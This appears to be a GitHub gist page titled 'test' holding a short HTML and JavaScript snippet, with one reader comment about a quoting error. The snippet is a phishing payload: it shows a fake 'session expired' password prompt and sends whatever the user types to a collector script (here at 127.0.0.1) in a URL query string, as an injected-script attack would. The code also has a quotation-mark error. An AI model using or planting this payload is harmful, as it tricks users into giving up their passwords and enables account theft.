Skip to content

Instantly share code, notes, and snippets.

@Dlat
Created July 9, 2015 23:59
Show Gist options
  • Save Dlat/d11ea9866d45a926c146 to your computer and use it in GitHub Desktop.
Save Dlat/d11ea9866d45a926c146 to your computer and use it in GitHub Desktop.
test
<html>
<SCRIPT Language="Javascript">var password=prompt
('Your session has expired. Please enter your password to
continue.',");
location.href="http://127.0.0.1/pass.cgi?passwd="+password;</SCRIPT>
</html>
@flohlen
Copy link

flohlen commented Jul 10, 2015

You forgot a quotation mark in line 5. There should be one after the semicolon and before the closing script-tag

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment